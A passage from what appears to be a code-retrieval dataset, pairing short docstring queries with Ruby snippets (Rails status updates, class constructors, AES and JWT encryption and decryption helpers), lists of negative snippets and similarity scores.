"def set_status\n\t @id=params[:id]\n\t @state = State.find(@id)\n\t @status = @state.status\n if @status == true\n @state.update_attributes(status: 'false')\n flash[:success] = \"Status upadated In-Active\"\n else\n @state.update_attributes(status: 'true')\n flash[:success] = \"Status updated Active\"\n end\n redirect_to states_path\n end",
"def set_status_to_pending\n self.status = :pending\n end",
"def change_status\n @posting = Posting.find(params[:id])\n if params[:commit] == \"Delete\"\n num = 2\n message = \"Posting has been deleted\"\n elsif params[:commit] == \"Publish\"\n num = 1\n message = \"Posting has been published and will expire in 30 days\"\n end \n #@posting.update_attribute(\"expiration_date\", Time.now)\n\n respond_to do |format|\n if @posting.update_attribute(\"status\", num.to_i)\n flash[:notice] = message.to_s\n format.html { redirect_to(@posting) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" + key } find out about redirect_to path\n format.xml { render :xml => @posting.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def on_change_status(&block)\n self.actions[:change_status] = block\n end",
"def update\n\n if params[:action] == \"RETURN_BOOK\" \n @book.return()\n elseif params[:action] == \"BORROW_BOOK\"\n @book.borrow()\n end\n \n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end",
"def updateBookCopies(book_name)\n @books.each do |book|\n if book.title == book_name\n then\n book.copies_available -= 1\n puts \"BOOK DETAILS:\"\n puts \"------------------------------------------\"\n puts \"ID: \" + book.id.to_s\n puts \"Name: \" + book.title\n puts \"Author: \" + book.author\n puts \"Publication: \" + book.publication\n puts \"Publication Year: \" + book.year.to_s\n puts \"Rack Number: \" + book.rack_no.to_s\n puts \"Total Copies: \" + book.total_copies.to_s\n puts \"Copies Available: \" + book.copies_available.to_s\n puts \"------------------------------------------\"\n end\n end\n end",
"def refresh_status!\n update!(:status => 'new') if status.nil?\n update!(:status => 'ack') if acked?\n update!(:status => 'nack') if nacked?\n update!(:status => 'push') if pushed?\n end",
"def active!\n self.update_attribute(:status, ACTIVE)\n end",
"def editing_complete status=nil\n self.edit_mode = false\n self.status = status.to_s if status\n self.save\n end"
] | [
"0.73006505",
"0.7125522",
"0.70472693",
"0.7015082",
"0.6951112",
"0.6818929",
"0.6708869",
"0.66592616",
"0.66592544",
"0.665515",
"0.6630387",
"0.66065747",
"0.65960467",
"0.6586793",
"0.6546079",
"0.6508952",
"0.64928216",
"0.64711815",
"0.6462325",
"0.6435405",
"0.6427271",
"0.63657737",
"0.6364068",
"0.6356041",
"0.6343694",
"0.6343593",
"0.63308907",
"0.6328357",
"0.6317022",
"0.63010496",
"0.629892",
"0.629608",
"0.625942",
"0.619241",
"0.6175922",
"0.6175922",
"0.6140008",
"0.61338913",
"0.61291426",
"0.6124051",
"0.6088252",
"0.6087133",
"0.6086656",
"0.6082184",
"0.6072402",
"0.6050762",
"0.60484475",
"0.6047297",
"0.6046301",
"0.60407615",
"0.60357946",
"0.6023681",
"0.601778",
"0.6012723",
"0.60039175",
"0.600196",
"0.6001654",
"0.5996426",
"0.5981312",
"0.5970468",
"0.5964118",
"0.59562045",
"0.59551287",
"0.5953063",
"0.59508795",
"0.594947",
"0.59340334",
"0.5920949",
"0.591634",
"0.5904855",
"0.59028095",
"0.59016335",
"0.59008974",
"0.5893128",
"0.5884441",
"0.5882215",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58759296",
"0.58715653",
"0.5867547",
"0.5865794",
"0.58639586",
"0.58596414",
"0.58577234",
"0.58545506",
"0.58523804",
"0.58516794",
"0.58481586"
] | 0.69158626 | 5 |
Initialises a new instance; it's probably easier to use one of the subclass constructors. | def initialize(name, aes_size, sha_size, alg)
@name = name
@aes_size = aes_size
@sha_size = sha_size
@cipher_name = "aes-#{aes_size}-cbc"
@alg = alg
@digest = OpenSSL::Digest.new("sha#{@sha_size}")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def constructor; end",
"def initialize() end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize()\n raise \"#{self.class.to_s} should not be instantiated directly.\"\n end",
"def new()\n #This is a stub, used for indexing\n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize\n \n end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def initialize()\n # override parent\n end",
"def new(*args) dup.initialize(*args) end",
"def initialize()\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def initialize(*_)\n super\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\r\n\r\n end",
"def initialize(*args)\r\n super(*args)\r\n end",
"def init\n raise NotImplementedError\n end",
"def initialize\n init\n end",
"def initialize\n end",
"def initialize( * )\n super\n end",
"def initialize\n\t\t\n\tend",
"def initialize(*args)\n super\n end",
"def initialize(*args)\n super\n end",
"def initialize(*args)\n super\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize(*args)\n super\n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def initialize\n\n\tend",
"def initialize\n\n\tend",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize(*args)\n super *args\n end",
"def initialize(*args)\n super(args[0], args[1])\n end",
"def new(*args)\n self.class.new(*args)\n end",
"def new(*args)\n self.class.new(*args)\n end",
"def initialize(*args)\n #This is a stub, used for indexing\n end",
"def initialize(*args)\n super(*args)\n end",
"def initialize()\n\t\tend",
"def initialize()\r\n\r\n end",
"def initialize\n super(true)\n end",
"def initialize\n \n end"
] | [
"0.78590393",
"0.782267",
"0.7782394",
"0.7782394",
"0.7782394",
"0.7782394",
"0.7782394",
"0.77448875",
"0.76544297",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.7587664",
"0.75645834",
"0.7543811",
"0.7543811",
"0.7543811",
"0.7543811",
"0.7543811",
"0.7543811",
"0.7543811",
"0.7543811",
"0.7543811",
"0.7506766",
"0.750393",
"0.7480486",
"0.74758285",
"0.74758285",
"0.74685764",
"0.74682236",
"0.74682236",
"0.74682236",
"0.74682236",
"0.74682236",
"0.74682236",
"0.7467451",
"0.7406881",
"0.7406881",
"0.7406881",
"0.7406881",
"0.7406881",
"0.7406881",
"0.7406881",
"0.7406881",
"0.7406881",
"0.7391362",
"0.7391362",
"0.7391362",
"0.7382615",
"0.7382615",
"0.7382615",
"0.7382615",
"0.7382615",
"0.7382615",
"0.7382615",
"0.73607874",
"0.7351232",
"0.73477316",
"0.7287808",
"0.7284687",
"0.72729903",
"0.72690856",
"0.72510064",
"0.72510064",
"0.72510064",
"0.7242658",
"0.7242658",
"0.7242658",
"0.7242658",
"0.7242658",
"0.7242658",
"0.7242658",
"0.7242658",
"0.72376025",
"0.72257864",
"0.72257864",
"0.72257864",
"0.72257864",
"0.72257864",
"0.7223869",
"0.7223869",
"0.7207586",
"0.7207586",
"0.7207586",
"0.7207394",
"0.7182796",
"0.71684545",
"0.7167017",
"0.7132891",
"0.7112572",
"0.70979255",
"0.70598924",
"0.7034452",
"0.7028097"
] | 0.0 | -1 |
Encrypts a token payload. | def encrypt(header, payload)
key = get_encryption_key
mac_key, enc_key = derive_keys(key)
encrypted_key = @alg.encrypt_key(key)
cipher = OpenSSL::Cipher.new(@cipher_name).encrypt
cipher.key = enc_key
cipher.iv = iv = SecureRandom.random_bytes(16)
ciphertext = cipher.update(payload) + cipher.final
auth_data = Sandal::Util.jwt_base64_encode(header)
auth_data_length = [auth_data.length * 8].pack("Q>")
mac_input = [auth_data, iv, ciphertext, auth_data_length].join
mac = OpenSSL::HMAC.digest(@digest, mac_key, mac_input)
auth_tag = mac[0...(mac.length / 2)]
remainder = [encrypted_key, iv, ciphertext, auth_tag].map { |part| Sandal::Util.jwt_base64_encode(part) }
[auth_data, *remainder].join(".")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def encrypt_token(password, token)\n key = obtain_key(password)\n cipher = OpenSSL::Cipher::AES256.new(:CBC)\n cipher.encrypt\n cipher.key = key\n @iv = cipher.random_iv\n @encrypted_token = cipher.update(token) + cipher.final\n end",
"def encrypt_token *args\n raw = [\"Ra\", ThreeScale::SSO::VERSION, \"%10.5f\" % Time.now.utc, @expires_at, \"zZ\"]\n raw.insert 3, *args\n @me.encrypt_and_sign raw.join(ThreeScale::SSO::SEPARATOR)\n end",
"def encode_token(payload)\n JWT.encode(payload, 'secret')\n end",
"def encode_token(payload)\n JWT.encode(payload, \"secret\")\n end",
"def encode_token(payload)\n #! Environment variables will need to be set!\n JWT.encode(payload, ENV['SECRET_KEY_BASE'])\n end",
"def encode_token(payload)\n JWT.encode(payload, 'SECRET')\n end",
"def encode_token(payload) # arg is data identifying user — e.g., DB id and username\n \n JWT.encode(payload, secret,algorithm)\n end",
"def encrypt(*tokens)\n return tokens.first if @sorcery_config.encryption_provider.nil?\n\n set_encryption_attributes\n\n CryptoProviders::AES256.key = @sorcery_config.encryption_key\n @sorcery_config.encryption_provider.encrypt(*tokens)\n end",
"def encode(payload)\n token = JWT.encode(payload, secret_key, 'HS256')\n end",
"def encode_token(payload)\n # Secret environment variable is found in config/application.yml\n JWT.encode(payload, ENV[\"SECRET\"])\n end",
"def encode_token(payload)\n JWT.encode(payload, \"my_s3cre3t\")\n\n end",
"def encode(payload)\n #return token\n JWT.encode(payload, secret_key, 'HS256')\n end",
"def encode_token(payload)\n JWT.encode(payload, Rails.application.secrets.secret_key_base, 'HS256')\n end",
"def encode_token(payload)\n JWT.encode(payload, 'yourSecret')\n end",
"def encode(payload)\n JWT.encode(payload, secret_key, 'HS512')\n end",
"def encrypt \r\n\t \r\n\t \tif validateParams\r\n\t \t \t\t \t\t \t \t\r\n\t \t\tif @IV.empty?\r\n\t\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\t\telse\r\n\t\t\t\t_iv= @IV\r\n\t\t\tend\t\t\r\n\t\t\t\r\n\t\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\t\t\r\n\t\t\t_cyper_text = Encryptor.encrypt(@data)\t\t\t\r\n\t\t\t_rt = Base64.strict_encode64(_cyper_text)\r\n\t\t\t\t\t\t\r\n\t\t\treturn _rt\t\r\n\t\telse\r\n\t\t\traise \"Provide valid details to get transaction token\" \t\t\r\n\t \tend\r\n\t \t\r\n\t end",
"def encode_token(payload)\n # I expect something like payload => { userid: int }\n JWT.encode(payload, Rails.application.secrets.secret_key_base)\n end",
"def encode_token(payload)\n #PAYLOAD => {salad: 'tomatoes'}\n JWT.encode(payload, ENV[\"JWT_SECRET\"])\n #jwt string: 'hdjgjdkgjgjsetc...'\n end",
"def issue_token payload\n JWT.encode(payload, secret, algorithm)\n end",
"def encrypt(data)\n crypto_key.encrypt64(data)\n end",
"def encrypt(*tokens)\n digest = tokens.flatten.join(join_token)\n stretches.times { digest = Digest::SHA512.hexdigest(digest) }\n digest\n end",
"def encrypt(plaintext)\n @cipher.encrypt(@secret_key, plaintext)\n end",
"def encrypt data, opts={}\r\n opts = opts.to_hwia :ttl, :password\r\n payload = { data:data }\r\n payload[:ttl] = Time.now.to_i + opts.ttl.to_i if opts.ttl\r\n\r\n JWT.encode payload, secret+opts.password.to_s, ALGORITHM\r\n end",
"def encode(payload)\n JWT.encode(payload, secret_key, 'HS256')\n end",
"def encode(payload)\n JWT.encode(payload, secret_key, 'HS256')\n end",
"def encrypt(x)\n @aes_key.encrypt(x)\n end",
"def encode_token(payload) \n # this method takes in a payload (a hash of key/values you want to save in the token) and signs a token using a secret key. (in production this should an ENV variable.)\n JWT.encode(payload, 'yourSecret') \n end",
"def encrypt( *tokens )\n ::SCrypt::Password.create( join_tokens( tokens ), { key_len: key_len,\n salt_size: salt_size,\n max_time: max_time,\n max_mem: max_mem,\n max_memfrac: max_memfrac } )\n end",
"def encrypt()\n cipher_type = \"aes-128-ecb\"\n data = password;\n key = master_password;\n \n self.encrypted_password = aes_encrypt(data,key,nil,cipher_type).to_s\n end",
"def encode_token(payload, exp = 24.hours.from_now)\n payload[:exp] = exp.to_i\n JWT.encode(payload, SECRET_KEY) \n end",
"def encrypt(*tokens)\n digest = tokens.flatten.join(join_token)\n stretches.times { digest = Digest::MD5.digest(digest) }\n digest.unpack1(\"H*\")\n end",
"def encrypt(message)\n xcrypt(:encrypt, message)\n end",
"def encode_token(payload) #encodes your username\n JWT.encode(payload, ENV['SECRET'])\n end",
"def encode(payload)\n payload.reverse_merge!(meta)\n JWT.encode(payload, HMAC_SECRET)\n end",
"def encrypt(data, expires_at: nil, expires_in: nil, purpose: nil)\n return nil unless data\n\n service.encrypt_and_sign(\n data,\n expires_at: expires_at,\n expires_in: expires_in,\n purpose: purpose\n )\n end",
"def encrypt_message plaintext\n key_pair.encrypt plaintext\n end",
"def encrypt(value,key,context)\n cyphertext = @vault.logical.write(\"transit/encrypt/#{key}\", plaintext: Base64.encode64(value).gsub('\\n',''), context: Base64.encode64(context).gsub('\\n',''))\n return cyphertext.data[:ciphertext]\n end",
"def encrypt; end",
"def encrypt(value)\n encryptor.encrypt_and_sign(value)\n end",
"def encrypt(data)\n self.class.encrypt(data + salt.to_s)\n end",
"def cage(payload)\n Base64.encode64(encrypt(payload)).strip! + \"-\" + @request[:iv]\n end",
"def encrypt(data, password = nil)\n salt = random_bytes(@salt_len)\n iv = random_bytes(@salt_len)\n aes_key, mac_key = keys(salt, password)\n\n aes = cipher(aes_key, iv, true)\n ciphertext = aes.update(data) + aes.final\n mac = sign(iv + ciphertext, mac_key)\n\n encrypted = salt + iv + ciphertext + mac\n encrypted = Base64.strict_encode64(encrypted) if @base64\n encrypted\n rescue TypeError, ArgumentError => e\n error_handler e\n end",
"def encrypt(plaintext, passwd, options = {})\n cipher = new_cipher(:encrypt, passwd, options)\n cipher.iv = iv = cipher.random_iv\n ciphertext = cipher.update(plaintext)\n ciphertext << cipher.final\n Base64.encode64(combine_iv_and_ciphertext(iv, ciphertext))\n end",
"def encrypt(data)\n pipe_to_stdin command('--encrypt'), data\n end",
"def encrypt(data, key, iv, cipher_type)\n aes = OpenSSL::Cipher::Cipher.new(cipher_type)\n aes.encrypt\n aes.key = key\n aes.iv = iv if iv != nil\n aes.update(data) + aes.final\n end",
"def encrypt(data)\n cipher = OpenSSL::Cipher.new(\"AES-256-CBC\")\n cipher.encrypt\n cipher.iv = @enc_iv\n cipher.key = @enc_key\n encrypted = cipher.update(data) + cipher.final\n enc = Base64.strict_encode64(encrypted)\nend",
"def encrypt(plain_password)\n self.class.encrypt(plain_password)\n end",
"def aes_encrypt(data, key, iv, cipher_type)\n aes = OpenSSL::Cipher::Cipher.new(cipher_type)\n aes.encrypt\n aes.key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(key, \"randomString\", 1024, aes.key_len)\n aes.iv = iv if iv != nil\n aes.update(data.to_s) + aes.final \n end",
"def encrypt(plain_text, password = nil, salt = nil)\n password = password.nil? ? Hoodie.crypto.password : password\n salt = salt.nil? ? Hoodie.crypto.salt : salt\n\n cipher = new_cipher(:encrypt, password, salt)\n cipher.iv = iv = cipher.random_iv\n ciphertext = cipher.update(plain_text)\n ciphertext << cipher.final\n Base64.encode64(combine_iv_ciphertext(iv, ciphertext))\n end",
"def encode(data)\n @encryptor.encrypt_and_sign(data)\n end",
"def encrypt(data, key=nil)\n Crypto.new(key.nil? ? config.key : key).encrypt(data)\n end",
"def encrypt(plain_password)\n self.class.encrypt(plain_password)\n end",
"def jwt_encode(payload)\n JWT.encode(payload, private_key, ALGORITHM, kid: jwk_kid)\n end",
"def jwt_encode(payload)\n JWT.encode(payload, Config.jwt_encode_key, Config.jwt_algorithm)\n end",
"def sign_and_encrypt_encapsulated(message)\n sign(message)\n encrypt(message)\n end",
"def encrypt(data)\n cipher = OpenSSL::Cipher.new 'AES-256-CBC'\n cipher.encrypt\n cipher.key, cipher.iv = @password, @iv\n data.nil? ? '' : (cipher.update(data) + cipher.final).unpack('H*')[0]\n end",
"def encrypt(data, key = nil, iv = nil)\n key ||= @request[:secret]\n iv ||= @request[:iv]\n\n @cipher.encrypt\n @cipher.key = key\n @cipher.iv = iv\n\n @cipher.update(data)\n end",
"def encrypt data, key, iv, cipher_type\n aes = OpenSSL::Cipher::Cipher.new cipher_type\n aes.encrypt\n aes.key = key\n aes.iv = iv if iv != nil\n aes.update(data) + aes.final \n end",
"def encrypt_data(data, key, iv, cipher_type)\n aes = OpenSSL::Cipher::Cipher.new(cipher_type)\n aes.encrypt\n aes.key = key\n aes.iv = iv if iv != nil\n aes.update(data) + aes.final\n end",
"def encrypt(plaintext, options = {})\n # TODO\n end",
"def encrypt_password\n if self.password.present?\n self.salt = secure_token\n self.crypted_password = password.to_s.encrypt( self.salt )\n end\n end",
"def encrypt(data, key, options = {})\n raise KeyError.new(\"Please provide a secret key to encrypt data with.\") unless key\n options = settings[:crypt].merge(options)\n unless data.is_a?(String)\n data = JSON.generate(data)\n end\n encrypted_data = crypt(:encrypt, data, key, options)\n encode(encrypted_data, options)\n end",
"def encrypt(value)\n Base64.encode64 escape_and_execute_sql(\n [\"SELECT AES_ENCRYPT(?, ?)\", value, key]).first\n end",
"def encrypt(password)\n encoded_password = Base64.strict_encode64 \"#{password}|#{time_stamp}\"\n\n encrypted_password = public_key.public_encrypt encoded_password\n\n Base64.strict_encode64 encrypted_password\n end",
"def encrypt(*attributes) \n \tinclude ActiveCrypto::Encrypted\n \tbefore_save :encrypt_attributes\n \tafter_save :decrypt_attributes\n options=attributes.last.is_a?(Hash) ? attributes.pop : {}\n keyholder\n if options and options[:key]\n \t\t\t\tmodule_eval <<-\"end;\"\t\t\t\t \n \t\t\t\t\tdef session_key\n \t\t\t\t\t\t(send :#{options[:key]} ).send :session_key\n \t\t\t\t\tend\t \n \t\t\t\t\t@@external_key=true\n \t\t\t\tend;\n end\n\n base64_encode = (options and options[:base64])\n module_eval <<-\"end;\"\n def self.ezcrypto_base64?\n #{base64_encode.to_s}\n end\n end;\n \n self.encrypted_attributes=attributes\n end",
"def encode(payload, exp = 24.hours.from_now)\n payload[:exp] = exp.to_i\n JWT.encode(payload, private_key, ALGORITHM)\n end",
"def encrypt!(cipher, iv, options={}) # rubocop:disable Naming/MethodParameterName\n opt = { salt: '' }.merge!(options)\n\n set_crypto cipher, opt[:intmode]\n compute_iv_for_encrypting iv, opt[:salt]\n\n authenticate_if_needed iv\n encrypted_msg = encrypt_body(iv, opt)\n encrypted_msg << generate_auth_tag(opt) if authenticated?\n self[:content].read(iv + encrypted_msg)\n\n # Remove plain payloads\n self[:body] = PacketGen::Types::String.new\n\n remove_enciphered_packets\n self.calc_length\n self\n end",
"def encrypt(data)\n Digest::SHA1.hexdigest(data + @salt)\n end",
"def encrypt(input:, password:)\n call :post, '/encrypt', { input: input, password: password }\n end",
"def token=(token)\n self.encrypted_token = ::Digest::SHA2.hexdigest(token)\n end",
"def encrypt_value\n cipher = OpenSSL::Cipher.new(\"AES256\")\n cipher.encrypt\n cipher.key = @secret\n cipher.update(@value) + cipher.final\n end",
"def call(payload)\n payload_to_encode = merge_with_default_claims(payload)\n JWT.encode(payload_to_encode, secret, algorithm)\n end",
"def encrypt(text)\n Base64.encode64(@public_key.public_encrypt(text)).gsub(/\\n/, \"\") if text\n end",
"def encrypt(text)\n Base64.encode64(@public_key.public_encrypt(text)).gsub(/\\n/, \"\") if text\n end",
"def public_encrypt(data)\n Base64.encode64(@key.public_encrypt(data))\n end",
"def encrypt\n self\n end",
"def encrypt(password)\n self.class.encrypt(password, Time.now.to_s)\n end",
"def encrypt(content, type)\n cipher = reset_cipher\n plaintext = content + type + \"\\x00\" * @length_of_padding\n cipher.auth_data = additional_data(plaintext.length)\n encrypted_data = cipher.update(plaintext) + cipher.final\n @sequence_number.succ\n\n encrypted_data + cipher.auth_tag\n end",
"def encrypt(*args, &block)\n crypt :encrypt, *args, &block\n end",
"def encrypt_and_sign(value)\n Base64.urlsafe_encode64(@box.encrypt(::JSON.dump(value)))\n end",
"def encrypt(plaintext)\n box.encrypt(plaintext)\n end",
"def encrypt(password, salt = self.generate_salt)\n serialize(hash(password, salt), salt)\n end",
"def encrypt(object)\n result = ''\n if cipher.respond_to?(:iv=) and @iv == nil\n iv = OpenSSL::Random.random_bytes(cipher.iv_len)\n cipher.iv = iv\n result << Ripple::Contrib::VERSION << iv\n end\n\n if cipher.respond_to?(:public_encrypt)\n result << cipher.public_encrypt(object)\n else\n cipher_setup :encrypt\n result << cipher.update(object) << cipher.final\n cipher.reset\n end\n return serialize_base64(result)\n end",
"def encrypt(password)\n self.class.encrypt(password) #, salt)\n end",
"def encrypt(data)\n return nil if !@key\n Base64::encode64(@key.private_encrypt(data)).delete(\"\\n\").strip\n end",
"def encrypt(msg, key)\n Rails.logger.debug \"AesEncryptDecrypt::encrypt::BEGIN\"\n begin\n cipher = OpenSSL::Cipher.new(ALGORITHM)\n cipher.encrypt()\n cipher.padding = 1\n cipher.key = key\n crypt = cipher.update(msg) + cipher.final\n return (Base64.encode64(crypt))\n rescue Exception => exc\n Rails.logger.error (\"Error when encrypting message #{msg} is #{exc.message}\")\n raise exc\n end\n end",
"def encrypt_hash(hash)\n encryptor = ActiveSupport::MessageEncryptor.new($encryption_key)\n encryptor.encrypt_and_sign(hash.to_json)\nend",
"def to_encrypted\n cipher = OpenSSL::Cipher::Cipher.new(\"aes-256-cbc\")\n cipher.encrypt\n cipher.key = @passphrase\n cipher.iv = @iv\n encrypted = cipher.update(to_expiring_json)\n encrypted << cipher.final\n encrypted\n end",
"def encrypt string\n string\n end",
"def encrypt(password)\n self.class.encrypt(password, self.salt)\n end",
"def encrypt(text_to_encrypt, base64_encode=true)\n encrytped = public_key.public_encrypt(text_to_encrypt)\n base64_encode ? Base64UrlSafe.encode(encrytped) : encrytped\n end",
"def aes_encrypt(plain_string)\n cipher = OpenSSL::Cipher::Cipher.new(ssl_cipher)\n cipher.encrypt\n\n key = cipher.random_key\n\n cipher.key = key\n cipher.pkcs5_keyivgen(key)\n encrypted_data = cipher.update(plain_string) + cipher.final\n\n {:key => key, :data => encrypted_data}\n end",
"def aes_encrypt(plain_string)\n cipher = OpenSSL::Cipher.new(ssl_cipher)\n cipher.encrypt\n\n key = cipher.random_key\n\n cipher.key = key\n cipher.pkcs5_keyivgen(key)\n encrypted_data = cipher.update(plain_string) + cipher.final\n\n {:key => key, :data => encrypted_data}\n end",
"def auth_token(payload = nil)\n if payload.nil?\n payload = {data: {authenticated: true, user: current_user_data}}\n end\n\n EchoCommon::Services::Jwt.encode payload\n end",
"def encrypt(value)\n return unless value\n fail ArgumentError, 'Value is already encrypted' if value.match(REGEXP)\n HEADER + Base64.strict_encode64(@key.public_encrypt(value))\n end",
"def _encrypt\n cryptor_files(@encrypting)\n end",
"def short_encrypt data, ttl=nil\r\n # expires in one day by deafult\r\n ttl ||= 1.day\r\n ttl = ttl.to_i + Time.now.to_i\r\n\r\n data = [data, ttl].to_json\r\n sha1(data)[0,8] + base64(data).sub(/=+$/, '')\r\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end"
] | [
"0.72000957",
"0.7030947",
"0.69518614",
"0.6934157",
"0.6817055",
"0.68026245",
"0.67568296",
"0.6744234",
"0.67320013",
"0.6683996",
"0.667373",
"0.6665103",
"0.6645568",
"0.66204506",
"0.66085553",
"0.6566169",
"0.65581423",
"0.6543872",
"0.6524992",
"0.650559",
"0.6493372",
"0.64518166",
"0.6445705",
"0.64247835",
"0.64247835",
"0.63748395",
"0.6354819",
"0.63514954",
"0.6338989",
"0.63082695",
"0.6289587",
"0.6288131",
"0.62767965",
"0.62732375",
"0.6270482",
"0.62704134",
"0.6261035",
"0.6235547",
"0.6202583",
"0.6193603",
"0.6190101",
"0.61762637",
"0.61460054",
"0.6116241",
"0.6114107",
"0.6104583",
"0.6090268",
"0.6070121",
"0.6058817",
"0.60566014",
"0.6021468",
"0.6017545",
"0.6015253",
"0.6014861",
"0.5994665",
"0.5994482",
"0.59586173",
"0.59389776",
"0.59358066",
"0.59325075",
"0.5923487",
"0.5918826",
"0.59182066",
"0.59110594",
"0.5902278",
"0.5900803",
"0.58971184",
"0.5893544",
"0.5875696",
"0.58714396",
"0.58672136",
"0.5840784",
"0.58331156",
"0.58331156",
"0.5831968",
"0.5825837",
"0.5825443",
"0.5822764",
"0.58222455",
"0.58204836",
"0.58139056",
"0.58081746",
"0.5791764",
"0.5787827",
"0.5787746",
"0.57857054",
"0.57822",
"0.5779607",
"0.5760603",
"0.5755874",
"0.57448524",
"0.57438576",
"0.57416075",
"0.5738948",
"0.57318723",
"0.57302284",
"0.57227993",
"0.5711414",
"0.5711414",
"0.5711414"
] | 0.6574249 | 15 |
Decrypts an encrypted JSON Web Token. | def decrypt(token)
parts, decoded_parts = Sandal::Enc.token_parts(token)
header, encrypted_key, iv, ciphertext, auth_tag = *decoded_parts
key = @alg.decrypt_key(encrypted_key)
mac_key, enc_key = derive_keys(key)
auth_data = parts[0]
auth_data_length = [auth_data.length * 8].pack("Q>")
mac_input = [auth_data, iv, ciphertext, auth_data_length].join
mac = OpenSSL::HMAC.digest(@digest, mac_key, mac_input)
unless auth_tag == mac[0...(mac.length / 2)]
raise Sandal::InvalidTokenError, "Invalid authentication tag."
end
cipher = OpenSSL::Cipher.new(@cipher_name).decrypt
begin
cipher.key = enc_key
cipher.iv = decoded_parts[2]
cipher.update(decoded_parts[3]) + cipher.final
rescue OpenSSL::Cipher::CipherError => e
raise Sandal::InvalidTokenError, "Cannot decrypt token: #{e.message}"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def decrypt_token(data)\n cipher = OpenSSL::Cipher::AES.new(128, :CBC)\n cipher.decrypt\n cipher.key = @client_secret.byteslice(0..15)\n cipher.iv = @client_id.byteslice(0..15)\n json = cipher.update(data) + cipher.final\n JSON.parse(json)\n end",
"def decrypt_jwt\n begin\n decoded_token_data = JWT.decode(\n params[:token],\n GlobalConstant::PublicOpsApi.secret_key,\n true,\n {:algorithm => 'HS256'}\n )[0][\"data\"]\n\n params[:decoded_token_data] = HashWithIndifferentAccess.new(decoded_token_data)\n rescue => e\n # decoding failed\n ApplicationMailer.notify(\n body: {exception: {message: e.message, backtrace: e.backtrace}},\n data: {\n 'decoded_token_data' => params[:decoded_token_data],\n 'token' => params[:token]\n },\n subject: 'Exception in decrypt_jwt'\n ).deliver\n\n render_api_response(\n Result::Base.error({\n error: 'c_oc_1',\n error_message: 'Token Invalid or Expired.',\n http_code: GlobalConstant::ErrorCode.not_found\n })\n )\n end\n end",
"def decode(encrypted_token)\n secret = 'my$ecretK3y'\n JWT.decode(encrypted_token, secret, true, {algorithm: 'HS256' })\n end",
"def decrypt token, opts={}\r\n opts = opts.to_hwia :password, :ttl\r\n\r\n token_data = JWT.decode token, secret+opts.password.to_s, true, { algorithm: ALGORITHM }\r\n data = token_data[0]\r\n\r\n if data['ttl'] && data['ttl'] < Time.now.to_i\r\n seconds = Time.now.to_i - data['ttl']\r\n before = Time.respond_to?(:ago) ? Time.ago(Time.now - seconds) : \"#{seconds} seconds\"\r\n raise JWT::VerificationError, \"Crypted data expired before #{before}. Please get a fresh token.\"\r\n end\r\n\r\n data['data']\r\n rescue => err\r\n raise err unless opts[:unsafe]\r\n end",
"def decrypt_token(password)\n key = obtain_key(password)\n decipher = OpenSSL::Cipher::AES256.new(:CBC)\n decipher.decrypt\n decipher.key = key\n decipher.iv = @iv\n decipher.update(@encrypted_token) + decipher.final\n end",
